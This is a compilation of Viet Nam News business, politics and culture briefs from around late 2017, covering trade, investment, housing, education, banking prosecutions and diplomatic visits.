In April 2017 the BIM Group, a private company, opened the first five-star hotel in Laos, the Crowne Plaza Vientiane.

The 200-room, 20,000sq.m property is in the Royal Square mixed-use building.

Muong Thanh Group has invested $40 million to build another five-star hotel, the Muong Thanh Luxury Vientiane.

The number of Vietnamese companies seeking to invest in Laos is expected to grow significantly.

In its latest survey the Viet Nam Chamber of Commerce and Industry found that 66 out of 222 companies polled said they would choose Laos for their foreign investment. -- VNS
HA NOI  Ha Noi said it has prepared 28.5ha of land for developers to build 27 resettlement housing projects with an estimated 19,800 apartment units.

The capital city recently submitted a document to the Government Office to clarify its proposed mechanisms for firms to develop resettlement apartments in the capital city.

Under the proposals, Ha Noi will prepare land and select developers with adequate capacity to develop these resettlement housing projects. An important criterion for developers is that they must promise not to calculate loan costs in the apartment price.

The developers will be allowed to make a profit of 10 per cent or sell 20 per cent of the apartments to the market.

After nine to 12 months, if the city failed to introduce home buyers, the developers will be allowed to sell the apartments to recover their investment.

It was estimated that the city needed more than 22,130 apartments by 2020 to meet the resettlement demand for site clearance to implement infrastructure development projects,

Currently, some 4,500 resettlement apartments were being developed and the city needed another 17,600 units.

The capital city said the new mechanisms would encourage developers to invest in resettlement housing projects.

Under the current mechanisms, the Government will have to spend money to develop or buy housing projects for resettlement. After that, the resettlement housing projects will be sold to citizens. The capital city said this mechanism was not efficient due to the tight budget.  VNS
HA NOI  The EU-Vietnam Free Trade Agreement (EVFTA) is expected to create a breakthrough for timber and wooden products. Experts forecast about US$1 billion worth of timber to be exported to the EU annually by 2020, according to an official of the Vietnam Timber and Forest Association.

Nguyen Ton Quyen, vice-chairman and general secretary of the association, said for many years, export value of timber and wooden products from Viet Nam to EU reached at annual average about $650-700 million.

The EVFTA, expected to come into effect next year, will create a positive impact on the Vietnamese timber industry. At present, Viet Nams timber and wooden products are exported mainly to Germany, France, Spain and Italy, but with EVFTA, the export market would be expanded to other EU member countries.

In fact, demand for timber products in the EU has been about $80-85 billion per year. That is much larger than Viet Nams export value of timber and wooden products to the EU.

EU timber processing technology boosts productivity by up to about 15-20 per cent, he said. Under the EVFTA, together with a zero tax rate, businesses can more easily import machinery, equipment, and wood processing technology as well as learn corporate governance from the EU.

Quyen said the EU market had strict standards for exported timber and wooden products. A number of exporters in the North still do not know much about those standards and only about half a dozen have qualified to export their products to the EU. Meanwhile, hundreds of businesses in the Centre and the South have knowledge about those standards and EVFTA.

To take full advantages from the agreement in exporting goods to the EU, businesses need to constantly learn, update information and improve themselves.

Growth in exports

Total Vietnamese exports of wood and timber products are expected to hit $8 billion in 2017, surpassing the yearly target of $7.5 billion, Quyen said. The figure reached nearly $7 billion in January-November, up 10.5 per cent from the same period last year, he said.

Strong growth in wood exports was seen in key markets such as the US (up 18.8 per cent), the South Korea (14.2 per cent) and Canada (13.4 per cent). The trend was attributed to an increase in processed wooden products, such as MDF (medium-density fibre board), particle board and artificial board.

To Xuan Phuc from the US-based Forest Trends, said Viet Nams wood and timber exports to the US, currently worth up to $2.7 billion, might be affected by the USs policy of creating more jobs in the US.

The US, Japan, the EU, China and South Korea are the biggest importers of Viet Nams timber and wooden products, accounting for 90 per cent of the total value of the sector. The US imports 42.7 per cent, followed by China (14.1 per cent) and Japan (13.7 per cent).  VNS
HA NOI  Trade development in the Cambodia-Laos-Viet Nam (CLV) Development Triangle Area remains modest and unsynchronised, failing to match the potential for strategic co-operation between the three countries, speakers said at a forum yesterday.

The 11th Trade and Tourism Promotion Forum of the CLV Development Triangle Area was held in the southern province of Binh Phuoc. It was among a series of events held under the framework of the CLV joint co-ordination committee to strengthen trilateral solidarity and traditional friendship.

The forum served as a platform for the three countries policymakers to review the promotion of trade, investment and tourism in the area, disseminate new policies designed for their businesses and receive enterprises proposals.

A representative from the Council for the Development of Cambodia said despite rapid growth, the socio-economic situation and infrastructure in the Triangle Area have not been on par with its development potential.

Participants agreed that commercial activities of the CLV Development Triangle Area still remained scattered and mainly took place in the border-gate economic zones.

Shortcomings can also be seen in incentives, overlapping and inconsistent import-export customs procedures, causing losses for investors, they said.

o Nhat Hoang, Director of the Foreign Investment Agency under the Ministry of Planning and Investment, said Viet Nam had so far invested US$3.6 billion in 113 projects in the area, including $1.6 billion in 48 projects in Cambodia and nearly $2 billion in 65 projects in Laos, mostly in agriculture and rubber production.

Hoang asked relevant ministries and agencies in the three countries to refine legal regulations on business and investment, as also procedures regarding taxation, customs and labour, and prioritise transport infrastructure investment.

A Lao representative said the forum was a chance to boost economic growth and infrastructure development in each country and the region as a whole.

He said two-way trade between Laos and Viet Nam topped $800 million last year and surpassed $500 million in the first half of this year, up 14 per cent annually. Meanwhile, trade between Laos and Cambodia had also prospered, he added.

The CLV Development Triangle Area covers four Cambodian provinces (Ratanakiri, Stung Treng, Mondulkiri, Kratie), four Lao provinces (Attapeu, Salavan, Sekong, Champasak), and five Vietnamese provinces (Kon Tum, Gia Lai, ak Lak, ak Nong, Binh Phuoc).

Deputy Chairman of the Binh Phuoc Peoples Committee, Huynh Anh Minh, said that the Vietnamese provinces in the triangle area had received great attention from local businesses.

So far, 37 Vietnamese enterprises have invested in projecs worth over $1 billion in five provinces of Viet Nam, with Binh Phuoc, attracting $148 million.

Representatives from 13 regional provinces introduced potential and business opportunities to investors at the forum. They wanted more attention paid to the training of tour guides with good command of foreign languages, and to making border areas into tourism-friendly destinations.

Forum participants also agreed that their Governments need to provide optimal mechanisms and policies for businesses.

The three countries should also use their cultural similarities, time-tested friendship, natural resource advantages and tourism potential to attract more investment from the private sector, they said.

Among proposals made at the forum were the overhauling of agreements and legal documents signed by the three countries, upgrading infrastructure at national and international border gates, and improving the quality of human resources.  VNS
HA NOI  The countrys cement surplus this year could be 30 million tonnes and reach 35 million tonnes by 2020 if Viet Nam does not export cement.

Nguyen Quang Cung, chairman of Viet Nam Cement Association (VNCA), told online newspaper Dien an Doanh Nghiep (Business Forum) that total designed capacity of the cement industry was 88 million tonnes per year in 2016. The countrys total cement capacity would reach 120-130 million tonnes by 2020.

Meanwhile, domestic cement demand by 2020 was expected to be 82 million tonnes, leading to a surplus 36-47 million tonnes.

The associations forecast showed that the countrys cement demand would be increased by 5-6 million tonnes per year.

By the end of last year, the cement industry added 6.8 million tonnes from Song Lam Cement Plants first phase and Long Son Cement Plant. Another five cement projects are under construction and would become operational in 2020, adding 12.7 million tonnes to the sector.

Cung was quoted by the newspaper as saying that the cement oversupply was because the industrys planning was backward. Real capacity turned out to be higher than what was estimated thanks to improvements in technologies.

He added that export prices of cement and clinker were sharply reduced due to fierce competition in the market. Cement oversupply in China was also 600-700 million tonnes, 7-8 times higher than that of Viet Nam.

Further, China, India and Pakistan were rushing to lower export price, causing a decrease in Viet Nams cement exports, he said, adding that the VNCA proposed the Government work with other countries to reduce import taxes and support transport costs for building materials including cement.

Figures from VNCA revealed that cement consumption in the local market in the first 11 months of the year was some 55.63 million tonnes, slightly increased by two per cent from the same period last year and meeting 87 per cent of the whole years target.

Cement and clinker exports reported a year-on-year increase of 27 per cent in the January-November period.

The chairman said cement producers should be active in searching for export markets.

Nguyen Tran Nam, chairman of Viet Nam Real Estate Association, shared the opinion, saying the building material market in 2018 would face challenges as the number of new real estate projects would not be high, in addition to fierce competition from imported products.

Nam told a press meeting held in Ha Noi last month that the property market this year would see stable development.

He said consumption of many essential building materials such as cement, sand, brick and steels was slow in 2017.

Nam said Vietnamese producers of building materials should have suitable production plans while renewing technologies towards friendly environmental products.

Firms were also asked to improve competitiveness by reducing prices and enhancing branding, he added.  VNS
ONG THAP  Prime Minister Nguyen Xuan Phuc has urged the Mekong Delta region to improve logistics to increase fruit and vegetable exports to global markets.

Phuc spoke at a forum titled Market Development for Fruit and Vegetables, and Solutions for the Development of Logistics Systems for Agriculture and Rural Areas held on Monday in ong Thap Province.

Phuc urged the region to continue to keep up with new trends in the global market and take advantage of the fourth industrial revolution and apply advanced technologies in farming to produce the best quality fruit and vegetables.

Logistic plays a key role in enhancing competitiveness and promoting the global market for Vietnamese vegetables and fruits, he said.

Bui Quoc Nghia, head of the Viet Nam Logistics Institute, said the high cost of logistics was one of the barriers reducing the competitiveness of Vietnamese agricultural products in the world market.

Specifically, the ratio of logistic costs to Gross Domestic Product (GDP) in Viet Nam is 20.8 per cent, compared to 15.4 per cent in China, 10.7 per cent in Thailand, 13.5 per cent in Asia Pacific, 9.2 per cent in Europe, and 8.6 per cent in North America.

The average ratio of logistics costs to GDP globally is 11.7 per cent.

However, the Viet Nam logistics industry has great growth potential, according to the report Viet Nam Logistics Market 2017, Nghia said.

Rapid economic growth as well as significant trade with a total value of US$350 billion last year is expected to boost growth of the transport sector, he noted.

However, major hurdles facing the industry include underdeveloped infrastructure and an overloaded road network, he added.

Export potential

Nguyen Xuan Cuong, minister of Agriculture and Rural Development, said the potential for fruit and vegetable exports was huge.

The ministry has focused on using modern technologies in agriculture in order to create high quality products, thus improving competitiveness and expanding export markets, he said.

Exports of fruits and vegetables are expected to continue to grow. The sector should develop associations for investing in hi-tech agriculture. Businesses should work with farmer collectives to establish concentrated raw material areas, he added.

The minister said the growth of the agricultural sector would largely depend on export value and changes in the market.

It is essential for businesses and farmers to build production chains of safe fruits and vegetables and use hi-tech agriculture in order to reach the export target of $3 billion by the end of this year, he said.

Le Thanh, head of the Institute of Organic Agricultural Economics, said vegetables and fruits had become a bright spot among agricultural exports as they continue to see rapid growth.

He said the global demand for fruit and vegetable products had increased in recent years.

Export enterprises, farmers and producers have worked closely in recent years, thus, the quality and design of the products has improved, creating a good reputation for Vietnamese vegetables and fruit, he said.

Around 40 kinds of Vietnamese fruits and vegetables are exported to 40 countries and territories, including major export markets such as mainland China, Japan, South Korea, the US, Malaysia and Thailand.

Challenges

Richard Courey, chairman and CEO of Vision Transportation Group (VTG), said that transport logistics was an important sector of the economy and in Viet Nam, represents 20 per cent of GDP.

However, in more developed economies like Canada or New Zealand it represents less than 10 per cent of GDP, he said.

In an export-oriented economy, where pricing is dictated by global markets, this means a larger portion of the economic pie is available to local farmers and processors rather than international shippers and foreign retailers, he added.

Of all economic activities, agriculture is the most dependent on the transportation logistics network. And nowhere is this more visible applicable than in ong Thap Province and other provinces in Mekong Delta, he said.

Due to limited port capacity, 80 per cent of goods for export from the Mekong Delta are shipped via HCM City or Ba Ria-Vung Tau deep-water ports, he said.

This ineffective logistic structure is not cost-effective and takes away profit from farmers as well as decreases product competitiveness on the international market, Corey said. We recommend ong Thap incentivise and prepare a logistics foundation to energise the expanded production of higher-value fruits and vegetables in the Mekong Delta.

The province should also design transportation infrastructure that will offer the most effective logistical mix for organic and sustainable produce to enter and compete in major consumer markets, he said.

The province should also embrace new technology that offers human and environmental protection and assist in the uptake of technological transfer, he added.

Agreement signing

The forum saw the signing ceremony of the Memorandum of Understanding (MoU) on the development of logistics and infrastructure development in ong Thap Province.

The signing was done between the province, the Institute of Organic Agricultural Economics, and a venture of the Investors of Viet Nam Infrastructure Development and Real Estate Corporation (VIPD), the Sunny World Property Development Corporation, and the Sai Gon Gia inh Real Estate Joint Stock Company.

Under the MoU, the venture will finance research and development for a logistics and infrastructure development strategy in ong Thap Province.

The venture will promote investment in infrastructure development and urban and logistics projects.

In addition, the provinces Peoples Committee, Institute of Organic Agriculture Economics, Lavifood Corporation and Greenland Business Group signed an agreement to promote the export of agricultural products from Viet Nam to China via an official channel for the first time with a value of at least $500 million in the first two years and a gradual increase in coming years.

The Greenland Business Group is a wholly owned subsidiary of China Greenland Group, a leading importer and exporter of agricultural products in China and the Asia-Pacific region.

The forum, organised by the Institute of Organic Agricultural Economics and ong Thap Province Peoples Committee, was held to promote exports of Vietnamese fruits and vegetables as well as investment in the value chain of fruits and vegetables.

Viet Nam is expected to earn $3.5 billion from shipping vegetables and fruits this year, representing a year-on-year growth of 45 per cent, according to the Ministry of Agriculture and Rural Development.

In 2017, China, Japan, the US, and South Korea were the four largest importers of Vietnamese fruits and vegetables, importing $2.15 billion, $102 million, $82 million and $73 million, respectively.

China was the dominant import market for Viet Nams fruits and vegetables.

Japan, UAE, and China posted rising import turnover of Vietnamese fruit and vegetables, increasing by 66.1 per cent, 58 per cent, and 53.1 per cent, respectively.

The country imported $1.25 billion in the first 10 months of the year, representing a year-on-year surge of 70.8 per cent.  VNS
HA NOI  Military-run telecom provider, Viettel Group, and the Viet Nam National University (VNU) on Monday officially launched the School of Aerospace Engineering (SAE)  the first of its kind in Viet Nam.

This is the first training model between a business and a university in the country.

The SAE aims to provide high-quality human resource training in the aerospace technologies at university and post-university. It would also implement research and development (R&D) on scientific technologies in the sector for the countrys national security and defence.

The school would also promote international co-operation programmes in technology transfer.

The university approved the training programme for aerospace engineers, which links theory with practices in laboratories of Viettel Group and Viet Nam National Space Centre.

Speaking at the ceremony, Director of VNU Nguyen Kim Son said the high-quality human resource in the aerospace sector has been a vital factor for the development of technology. The co-operation would ensure the success of a new technology in Viet Nam, while showing responsibilities of the university and Viettel in their duties with the country.

Nguyen Manh Hung, General Director of Viettel, said the school will enrol and train around 20 people a year. The training will last four and a half years.

The first enrolment will start in February 2018.

With a target to become one of the top 100 hi-tech national defence industry complexes in the world, Viettel has paid much attention to R&D in military and civil.  VNS
HA NOI  Some 25 per cent of CEOs or board directors in Viet Nam are women, surpassing the figures for Malaysia, Singapore and Indonesia.

Bloomberg cited a report from the Boston Consulting Group (BCG) as saying women hold 14 per cent of CEO or board level positions in Malaysia and 10 per cent in Singapore. Indonesia came in last among the four countries, at 6 per cent.

More Vietnamese women, compared with their Singaporean and Malaysian peers, look for a promotion, the BCG report said after surveying more than 2,000 employees. Malaysia has the largest proportion of female respondents who intend to stay in their current roles.

"Women in Viet Nam lead or own many SMEs and large enterprises which provides positive, visible and diverse role models to other women," Ian Grundy of Switzerland-based employment firm Adecco Group AG, the worlds largest provider of temporary workers, was quoted by Bloomberg as saying.

Emerging countries outperform developed countries in Asia in womens representation on company boards, Grundy noted. Viet Nams progress in gender diversity is partly due to measures by the Government and businesses to foster female talent, he said.

"Having said that, it is important to remember that Southeast Asia still lags behind Europe and North America," Grundy added.

According to another study by Deloitte in June 2017, 17.6 per cent of board members in a survey of 50 Vietnamese companies were women -- more than double Asias average of 7.8 per cent.  VNS
HA NOI  The Bank for Investment and Development of Viet Nam (BIDV) on Tuesday announced the closing of its representative office in Yangon, Myanmar.

According to Myanmars laws and regulations, foreign banks are required to shut down their representative offices after establishing a branch in the country. The BIDVs representative office completed its mission in the market.

BIDV established the office in April 2010, following a joint announcement between the Viet Nam and Myanmar governments on 12 prioritised sectors for economic co-operation, including the finance and banking industry.

After seven years of operation, the office had contributed to promoting the co-operation in three areas of investment, trade and tourism, creating an investment wave from Viet Nam and Myanmar, as well as in making Viet Nam one of the biggest foreign investors in Myanmar.

BIDV, on July 31, 2016, inaugurated its branch in Yangon with an aim to deeply participate in Myanmars financial and banking system. This was also suitable with its strategy to diversify its markets.

Earlier on November 6, the bank had sent a document to the HCM Stock Exchange, Ha Noi Stock Exchange, on the closure of the representative office.  VNS
HA NOI  The Korean Ministry of Strategy and Finance (MOST) has decided to impose anti-dumping duty on Ferro-Silico-Manganese alloys (HS code: 7202.30.0000) imported from India, Viet Nam and Ukraine.

The anti-dumping duty rates applied for manufacturers and exporters of Viet Nam, Ukraine and India are 4.06 per cent, 19.06 per cent and 7.4-19.06 per cent, respectively, for five years.

Previously, the Korean Trade Commission (KTC) on December 7, 2016, initiated the anti-dumping investigation on Ferro-Silico-Manganese alloys products imported from Viet Nam, Ukraine and India. The investigation was based on petitions filed by Dongbu Metal, Simpac Metal, Simpac Metalloy and Taekyung Industrial.

The investigation period for dumping is from July 1, 2015 to June 30, 2016.

On May 31, 2017, KTC applied the temporary anti-dumping duty at 7.48 per cent for Vietnamese manufacturers and exporters.

On September 14, 2017, KTC announced the final results of the anti-dumping duty on this product imported from the three countries at rate ranging from 4.06 to 19.06 per cent.  VNS
HCM CITY  A play on the Mau Than Offensive (or Tet Offensive) in Spring 1968 will be staged by Hong Van Drama Troupe, one of HCM Citys leading private drama troupes, this month.

The 60-minute play, Chau Ve Hop Pho (Reunion), features Vietnamese soldiers and their stories during and after the Mau Than Offensive, which occurred during the American war.

It portrays Chau and his wife, Pho, both Sai Gon residents. Chau moves to the north to join North Vietnamese Peoples Army of Viet Nam (VPA), and Pho works as a secret agent in Sai Gon.

Both meet in the battle of Sai Gon in January, when VPA soldiers and members of the Peoples Liberation Armed Forces of South Viet Nam attacked the US Embassy in Sai Gon.

The play is also based on true stories that took place during the war.

I asked my actors to research books and documents on the Mau Than Offensive, said the plays director, Meritorious Artist Tran Minh Ngoc.

Ngoc, who has more than 50 years in the industry, spent more than five months on the script.

To prepare for my work, I watched documentaries on the offensive by both Vietnamese and foreign filmmakers. I wanted my production to be lively and to help young audiences learn valuable things about war and peace, said the 80-year-old.

Ngoc invited talented actors Thanh Thuy, uc Thinh, Trinh Kim Chi and Hong Van, graduates of the HCM City University of Cinematography and Theatre, to play leading roles.

"My colleagues and I have learned as much about the countrys history and how Vietnamese generations have fought for independence, said actress Trinh Kim Chi, who plays Pho.

For me, playing in a historical drama is about research also. During my performance, I discovered stories and facts about the war. Through my role, I hope my fans learn something about the value of the peaceful life we have today, she added.

Chau Ve Hop Pho is part of a cultural programme celebrating the 50th anniversary of Mau Than Offensive 1968, funded by the HCM City government.

The play will be staged on December 27 at the Army Theatre in Tan Binh District.

It will also be staged for free for students in 20 universities and colleges next year.  VNS
HCM CITY  Actress and film director Kim Khanh recently launched her new project, Hon buom (Butterfly Soul), a documentary on the lesbian, gay, bisexual and transgender (LGBT) community in HCM City.

The film is about three women, Jessica Nguyen, Yen My and Nha An, who face challenges in their careers and private lives after their gender-reassignment operations, still a sensitive topic in Viet Nam.

It focuses on sex change and same-sex marriage rights in Viet Nam. The work also addresses the gap between laws protecting LGBT rights and public opinion towards people in the LGBT community.

Khanh and her staff worked with dozens of transgender people to feature their stories in Hon Buom.

The film was funded by the Presidents Emergency Plan for AIDS Relief (PEPFAR/Emergency Plan) - a US governmental initiative to address global HIV/AIDS epidemic and help save the lives of those suffering from diseases.

Khanh began her movie career in 1991 after winning a top prize at a beauty contest in HCM City. She has performed in dozens of TV series and films by talented directors Chau Hue and Phi Tien Son.

In 2003, she won the Mai Vang (Golden Apricot) Prize for the Years Best Female Film Actress presented by the HCM City-based Nguoi Lao ong (Labourer) newspaper. She worked as a theatre director for private theatres, drama clubs and TV stations.

Her first film, Hon Buom, will be in cinemas and produced by BHD, one of the countrys leading film producers and contributors, early next month.  VNS
Prime Minister Nguyen Xuan Phuc hosted a reception for visiting Lao Defence Minister Chansamone Channhalat in Ha Noi yesterday.  VNA/VNS Photo An ang

HA NOI  Prime Minister Nguyen Xuan Phuc hosted a reception for visiting Lao Defence Minister Chansamone Channhalat in Ha Noi yesterday.

Welcoming the minister, PM Phuc stressed that the visit helps boost the Viet Nam-Laos friendship.

To maintain relations, he suggested the two sides continue with delegation exchanges, while the two defence ministries should fulfill their role as advisors to the two countries leaders.

In training, Viet Nam is doing its utmost to improve training quality for Lao students in Viet Nam, and is willing to help train Laos students in fields that Laos has demand for such as defence, the PM said, adding that Viet Nam will increase the training quota for Lao defence ministry officers.

He emphasised that Viet Nam will try its best to help put the Lao National Assembly House into operation early, serving as a symbol of bilateral relations.

The Vietnamese Government leader also reaffirmed Viet Nams stance of maintaining the Viet Nam-Laos border of peace, friendship and stability, asking Lao ministries and sectors to work with Viet Nam to ensure border security and prevent cross-border crime.

The Lao minister said his visit is part of activities to mark the Viet Nam-Laos Friendship and Solidarity Year.

He thanked the Vietnamese Party, State and Ministry of Defence for supporting Laos in many fields, including defence.

He informed the host that the two ministries have co-ordinated well in ensuring security, maintaining a peaceful border and stopped plots aiming to hurt bilateral solidarity.

The two ministries have held more than 40 exchanges and co-operative activities in 2017 to respond to the Viet Nam-Laos Friendship and Solidarity Year.  VNS
HA NOI  A newly-signed agreement between the parliaments of Viet Nam and Morocco is an important legal foundation for the two sides to boost legislative relations and ties in all fields, stated National Assembly (NA) Chairwoman Nguyen Thi Kim Ngan.

Ngan made the remark at a press conference with visiting President of Moroccos House of Representatives Habib El Malki in Ha Noi on Monday following their talks the same day.

She pledged that Viet Nams NA will work hard to realise the agreement, while working with the House of Representatives of Morocco to supervise and speed up the implementation of agreements between ministries and sectors of both countries.

Regarding measures to make parliamentary co-operation more effective, El Malki said that with the signing of the new deal, the first between Viet Nam and the parliament of an African country, the ties between the two parliaments and the two countries will enter a new period.

He noted that the Vietnamese top legislator repeatedly affirmed during their talks that Morocco is a priority of Viet Nam in Africa, asserting that the deal will help forge stronger ties between the two countries in many fields.

El Malki noted that Viet Nam and Morocco share a long-standing friendship and similarities in culture and history, which is a firm foundation for the two sides to develop ties. This is also a good chance for the two countries to strengthen links in economy and trade, he said.

Answering questions on the outcomes of their talks, Ngan said that the two sides reviewed bilateral political, economic and trade co-operation as well as collaboration between the two parliaments.

The parliaments of Viet Nam and Morocco will also continue with their political consultation mechanism, Ngan declared.

Later the same day, President Tran ai Quang received El Malki, hailing the outcomes of the talks between the two top legislators of the two countries and the signing of a co-operation pact between the two parliaments.

He proposed Morocco create conditions for Vietnamese businesses to access its market and to seek co-operation and investment opportunities.

Quang noted that the two sides should promote links between business communities of the two countries, particularly in trade, tourism, finance and renewable energy.

He affirmed that Viet Nam welcomes businesses from Morocco to come to Viet Nam to study and seek co-operation opportunities with Vietnamese firms.

For his part, El Malki said Viet Nam was considered a gateway for Morocco to access the Southeast Asian region and Morocco was willing to serve as a bridge for Viet Nam to access the North African markets.  VNS
BINH PHUOC  The Senior Officials Meeting (SOM) of the Cambodia-Laos-Viet Nam (CLV) Development Triangle Area (DTA) opened in the southern province of Binh Phuoc on Tuesday.

The event was chaired by Nguyen The Phuong, Vietnamese Deputy Minister of Planning and Investment, Mao Thora, head of the Cambodian senior officials delegation and Songkan Luangunithon, head of the Lao senior officials delegation.

Delegates lauded the traditional friendship between the three countries and the 13 localities in the DTA in particular, considering the relationship an important factor for stability and development in each country.

They agreed to maintain the sustainable development triangle area as committed by the three Prime Ministers at the ninth CLV Summit in Siem Riep, Cambodia, in November 2016.

At the meeting, participants noted the outcomes of the 11th Investment-Trade and Tourism Promotion Forum for the Cambodia-Laos-Viet Nam DTA on Monday and the 7th Cambodia-Laos-Viet Nam DTA Youth Forum.

The heads of the delegations emphasised the importance of strengthening ties in conducting research on sustainable development, sharing experience in making climate change-related policies and transferring technology and experts in natural resources management and biodiversity preservation.

They agreed to build an action plan to implement the socio-economic development master plan of the CLV DTA during 2010-20.

Viet Nam proposed Cambodia and Laos support Vietnamese enterprises projects in the countries and encourage their investors to come to Viet Nam to invest in Binh Phuoc Province and the four Central Highlands provinces of ak Nong, ak Lak, Gia Lai and Kon Tum.  VNS
HA NOI  Criminal proceedings were initiated against six former officials of ai Tin Bank (Trust Bank) on Tuesday for allegedly violating regulations on lending activities of credit institutes.

The suspects are Lam Hong Trinh, o Hoang Linh and Ngo Tri uc, three former deputy director generals of Trust Bank; former head of the banks Credit Management Department Ho Trong Thang; former director of the banks Accounting Sector Tran Thi Hong Phuong; and former head of the banks Legal Affairs Department Pham Thi Quynh Ngan.

Police searched their residences and banned them from leaving their homes during the investigation.

The investigation is part of the second phase of the trial of Pham Cong Danh -- ex-chairman of the Vietnam Construction Banks Board of Directors and former general director of Thien Thanh Group.

Prior to 2013, the Vietnam Construction Bank was called Trust Bank.

During the first phase of Pham Cong Danhs trial, he and his accomplices were charged with causing losses of over VN9 trillion (US$400 million) for the bank.

In the second phase of the trial, the six suspects are alleged being held responsible for the loss of VN471 billion. In particular, the three former deputy director generals approved the lending of VN650 billion to two companies of Pham Cong Danh, while the other three wrongly assessed lending documents and disbursed the loans.

Early this year, former Trust Bank chairman Hoang Van Toan and former director general Tran Son Nam were arrested and investigated for allegedly violating regulations on economic management, leading to serious consequences.

In September, 2017, 14 former officials of Trust Bank, including Trust Bank senior advisor Hua Thi Phan, were arrested for abusing power to appropriate property and intentionally violating regulations on economic management and causing serious consequences.  VNS
HA NOI - Many university lecturers in Viet Nam are not qualified as they hold below standard degrees, statistics recently released by Ministry of Education and Training revealed.

The Law on Higher Education which took effect in 2012 requires university-level lecturers to have masters degrees or degrees of higher education except for specific majors. However, according to the Ministry of Education and Training, at many universities, about half of the permanent lecturers hold bachelors degrees.

This includes Vo Truong Toan University, a public tertiary educational institute in Mekong Delta Province of Hau Giang. More than 64 per cent of its permanent lecturers hold bachelors degrees.

Nguyen Tat Thanh University of Viet Nam Textile Corporation in HCM City has 45 per cent of its permanent lecturers holding bachelors degrees. Only 10 per cent hold masters degrees. The figure for Tra Vinh University is 37 per cent.

As many as 126 out of 276 permanent lecturers employed by Ha Noi Industrial Textile Garment University hold bachelors degree.

Many universities have certified these lecturers even though they fail to meet standards of lecturers quality.

Tran Ai Cam, deputy director of Nguyen Tat Thanh University told Thanh Nien (Young People) newspaper that besides university level, the school also offers training at college level. More than 500 lecturers holding bachelors degrees are teaching at college level. Only lecturers with masters degrees or higher are allowed to teach at university level, he said.

In fact, only 14 per cent of students of Nguyen Tat Thanh University are trained at college level. In 2017, the university did not recruit any students at college level.

Associate Professor Nguyen Xuan Hoan, vice principal of Food Industry University in HCM City said that 130 bachelor-holding lecturers of the university teach college students.

From now until 2020, the university will stop college-level recruitment. Bachelor-holding lecturers who do not learn to gain higher degree will have to change their position or leave job. It is impossible to have bachelors degree holders teach university students, he said.

A representative of Pham Ngoc Thach Medical University said the university is standardising lecturer recruitment. Some who dont have masters degree are newly-recruited or have been lecturing for a long time.

Associate Professor Nguyen Hoi Nghia, director of education quality verification of HCM Citys National University said that the universities have many reasons to explain the shortage of qualified lecturers. Some explained that permanent staff members are teaching assistants, not lecturers or they are only in charge of a laboratory, not teaching.

Others claimed that it is hard for some majors to recruit high-quality teachers.

Nghia said that this fact is hard to accept and will affect the quality of tertiary education.

The State has clear standards but universities have not followed them, he said.

According to experts, while the number of new majors and new universities keeps rising, the number of qualified teachers trained every year cannot meet demand. This has led to bachelor holders teaching university students.

The Ministry of Education and Training must manage universities to stop the size of training increasing so fast that the number of qualified lecturers does not keep up with this increase, Nghia said.  VNS
HA NOI  Following HCM Citys lead, Ha Noi authorities are installing fences along sidewalks in a pilot programme to prevent vehicles from encroaching them.

The sight of motorbikes and cars climbing onto sidewalks to seek an alternative route during traffic jams has been common in Ha Noi for years. It not only endangers pedestrians but also destroys sidewalks which are not designed for vehicles.

Fences have been erected along sidewalks on some streets in downtown Ha Noi like Ton uc Thang, Nguyen Thai Hoc, Ngoc Hoi, Le Duan, and ai Co Viet over the past year. The measure aims to protect pedestrians and ensure traffic order.

Nghiem Ngoc Tram, a resident living near Nguyen Thai Hoc Street told Thanh Nien (Young People) newspaper that since the fences were installed, cars and motorbikes were unable to climb over the sidewalks around Van Mieu Quoc Tu Giam (The Temple of Literature).

My family totally supports the plan. Thanks to the fences, we feel more secure when kids and old people use the sidewalks as we dont need to worry that motorbikes and cars will hit them, she said.

Nguyen Hoang Hai, an expert on urban traffic said the installation of barriers to separate sidewalks from roads is a feasible measure to solve the problem.

In some streets where the measure was adopted like Le Duan or Van Mieu, the result has been positive. The walking space was protected, creating the feeling of safety and comfort for pedestrians, he said.

In a Ha Noi Peoples Council Q&A session on December 6, deputy Nguyen Huy uoc proposed the same measure to restore sidewalk order.

However, some people warned that if the plan is expanded, some issues need to be taken into account.

Le Dung, a resident of Ton uc Thang street told Kinh te&o Thi (Economic&Urban Affairs) newspaper that the fences have caused obstacles for some people.

In some places, the space between fences is not enough for a wheelchair user to get through. Some shops along the street also face difficulties as the barriers stop their customers accessing the shop and parking their vehicles, he said.

inh Quoc Thai, an expert on urban traffic said fences should not be installed on busy trading streets as it would harm peoples businesses which are their means of living.

People would oppose the plan and even remove the fences themselves while authorities could hardly control it, he said.

He suggested fences be installed on sidewalks mostly serving pedestrians or those near cultural spaces.

The installation should also be carefully considered so that the barricades do not obstruct wheelchairs and baby strollers, he said.

An alternative measure to replace fences is to increase the height of the sidewalks edge so vehicles cannot climb them, he added.

Nguyen Hoang Hai agreed that this is not a one-size-fits-all solution.

There should be city-wide surveys to decide which streets are suitable and which are not.

On streets where fences are not the solution, authorities can install cameras to record violations and later apply strict punishments, he said.  VNS
HA NOI  Two years after joining the ASEAN Economic Community (AEC), Viet Nams labourers have not tapped the opportunities brought about by greater labour mobility, according to the Ministry of Labour, Invalids and Social Affairs.

As ASEAN countries seek further integration, they have agreed to allow engineers, nurses, architects, doctors, dentists, surveyors, accountants and tourism professionals from one ASEAN country to work in another if they meet certain requirements.

However, Ha Thi Minh uc, deputy head of the International Relations Department under the labour ministry said that so far only 109 engineers and architects in Viet Nam qualified for mobility requirements.

While the AEC allows free labour mobility, member countries have requirements for each occupation and they need to discuss among each other how to grant mutual recognition and set up skills standards for these occupations, uc said.

Meanwhile, theres still a considerable gap among the national occupation skill framework among ASEAN member countries, especially among Cambodia, Laos, Myanmar and Viet Nam, she said.

The slow mobility was also due to policies of each country, uc added, saying that after workers meet the general occupation standards, they will also have to meet standards set by each country.

Workers ability to work outside their country also depends on local demand.

For instance, a Vietnamese doctor who wants to work in Thailand has to know how to speak Thai. On the other hand, some local employers who want to recruit foreign workers have to prove that they cant find qualified locals of equal pay to hire a foreigner, she said.

Mac Van Tien from the South East Asia Finance, Investment and Trade Institute, said apart from technical barriers set by ASEAN member countries, slow mobility was also caused by moderate Vietnamese labour skills.

Vietnamese labourers skills in teamwork and working in multi-cultural environments are limited, Tien said.

He added that while skills and knowledge can be improved and cultivated, Viet Nams preparation for integration has been poor.

We rank 11 out of 12 Asian countries in terms of labourer quality and our productivity is one third of Malaysias and two fifth of Thailands, he said.

